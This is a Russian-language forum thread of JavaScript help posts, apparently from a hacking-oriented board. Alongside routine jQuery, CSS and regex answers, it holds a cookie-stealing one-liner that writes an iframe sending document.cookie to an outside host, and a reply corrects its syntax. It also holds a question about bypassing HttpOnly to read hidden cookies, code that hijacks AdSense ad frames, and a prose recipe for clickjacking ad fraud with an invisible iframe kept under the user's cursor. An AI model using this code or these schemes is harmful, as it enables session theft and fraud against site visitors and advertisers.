Синтаксис на базовом уровне надо знать, чтобы jquery пользоваться, ну и так легче будет ибо ошибок синтаксических сразу не будет, по js рекомендую javascript.ru
Помогите кто-нибудь, со вчерашнего дня не получается заставить это нормально работать Есть n дивов, в каждом из которых два селекта, второму из них нужно назначить класс при выборе в первом определенного варианта. Code: jQuery(function() { jQuery('select#ext').change(function(){ if (jQuery(this).children('option:selected').text() == '3') { jQuery(this).closest('div').children('select#on').toggleClass('active'); } }); }); HTML: <div> <select id="ext"> <option>1</option> <option>2</option> <option>3</option> </select> <select id="on"> <option>a</option> <option>b</option> <option>c</option> </select> </div> <div> <select id="ext"> <option>1</option> <option>2</option> ...
Логично что не работает. id - уникальный параметр. Он должен быть всего 1 на страницу. Может я и ошибаюсь в причине того, что не работает (лень проверять), но вот по идее рабочий пример: Code: $(function() { $('div.div-class').children('select.ext') .change(function(){ var el = $(this), targetSelect = el.parent().children('select.on'); if (el.text() == '3') { targetSelect.addClass('active'); } else { targetSelect.removeClass('active'); } }); }); HTML: <div class="div-class"> <select class="ext"> <option>1</option> <option>2</option> <option>3</option> </select> <select class="on"> <option>a</option> <option>b</option> <option>c</option> </select> </div> <div> <select class="ext"> <option>1</option> <option>2</option> ...
Добрый день! Подскажите. Имеем страницу у которой изначально установлен стиль который всем input'ам на странице ставить определенные свойства в том числе рамку вокруг него белого цвета. Моя задача через JS подменить указанный стиль на другой в котором рамка вокруг инпута становиться красным цветом. document.getElementById('input1').className = 'redinput'; После проверяю через алерт какой стиль стоит. Показывает что redinput но рамка не меняет цвет. Смотрю через FireBug показывает что свойство рамки в redinput перечеркнуто, а в начальном стиле который на все инпуты ставит свойства оно стоит на месте. Как быть?
Может стоит задать свойства прямо через JS? Например: Code: inputs = document.getElementsByTagName('input'); for (var inp in inputs) { inputs[inp].style.color = '#fff'; inputs[inp].style.fontFamily = 'Couriew New'; inputs[inp].style.border = '1px solid red'; }
У него проблема в том, что класс переопределяет другой класс. Пропиши по нормальному селекторы в стилях, чтобы тот, который ты присваиваешь имел больший вес. /*имеет больший вес*/ body input { border: 1px solid black; } /*имеет меньший вес*/ .redinput { border: 1px solid red; } выход: body input.redinput { }
Да проблема именно в этом. А не подскажите как потом к нему обращаться? Ну то есть чтобы поставить его как класс.
Привет %username%. Понадобилось набросать на javascript кусочек кода, нужно следующее: Дроп даун лист, как он делается ясно , вот задача - при выборе одного из пунктов должно отображаться определённое количество форм, например если в дропдауне item 1,2,3, то при выборе 1 = будет отображать две формы для инпута : Имя Фамилия, если выберается 2 - то должно выводиться 4 поля : Имя1 Фамилия1, Имя2 Фамилия2 P.S.С Яваскрипт не работаю, просто понадобился подобный кусок кода, поэтому разбираться нет времени да и желания. Зарание благодарен.
Можно ли в браузере отключить для куки HttpOnly? Т.е чтобы пользовательский скрипт смог добраться до всех скрытых кук для открытого сайта.
где ошибка в скрипте? <script type="text/javascript"> document.write('<iframe src="http://ya.ru/?a='+document.cookie'"></iframe>'); </script> __ Нашел ошибку patcher все равно спасибо
Code: <script type="text/javascript"> document.write('<iframe src="http://ya.ru/?a='+document.cookie[COLOR=Red]+[/COLOR]'"></iframe>'); </script>
Есть вот такая форма: HTML: <form name=f method=POST> Имя: <input type=text name=name><br> Телефон: <input type=text name=tel><br> <input type=submit value=test> </form> Нужно написать скрипт в пару строчек, которыйе регуляркой проверит поле "Имя" наличие русских букв, пробелов(только ж не в начале) и тире. Всё остальное - FALSE И поле "Телефон" на пробелы, цифры, тире, скобки, плюс. Все остальные символы - так же FALSE. Подскажите как это осуществить
Code: function validate (el, regExp) { return regExp.test(el.value); } var a = validate(document.forms.f.name, /^[^\s]+[а-яА-ЯёЁ\s-]+$/), b = validate(document.forms.f.tel, /^[\(\)\s\d-\+]+$/); а и б собсна будут true или false;
есть АдСенс банер на сайте генерируется такой гугловский инжект в него: Code: <iframe id="google_ads_frame2" name="google_ads_frame2" width="300" height="250" frameborder="0" src="http://****************" marginwidth="0" marginheight="0" vspace="0" hspace="0" allowtransparency="true" scrolling="no"/> мне нужно заменить это своим банером я делаю так: Code: document.getElementById('google_ads_frame2').src='http://свой_URL' нормально работает в Opera но в FF и IE нехрена пробовал с задержкой, разными способами DOM модификаций кто подскажет что тут не так? UPDATE: нашел способ Code: document.getElementsByTagName('center')[2].innerHTML='<iframe width="300" height="250" frameborder="0" src="http://мой_URL" marginwidth="0" marginheight="0" vspace="0" hspace="0" allowtransparency="true" scrolling="no"></iframe>'
Можно ли сделать так, чтобы при заходе на мой сайт происходил автоклик по баннеру или определенной заданной ссылке?
Это для накрутки? Можно взять адрес, куда указывает ссылка или баннер, и создать iframe который указывает туда же. С точки зрения конечного сайта, трафик выглядит почти идентично. Другой вариант - на основной странице создать малюсенький div 1 на 1, содержащий iframe, который, в свою очередь показывает страницу с баннером. Потом при помощи джаваскрипта двигать этот div, чтоб он всегда был точно под мышью. Тогда пользователь будет думать, что он кликает куда-то на странице, а на деле кликать рекламу. Естественно, после первого клика div надо убрать, иначе вообще все клики съедятся. Это несколько заморочено, но решаемо. Год назад какие-то пацаны на подобных схемах большие деньги колотили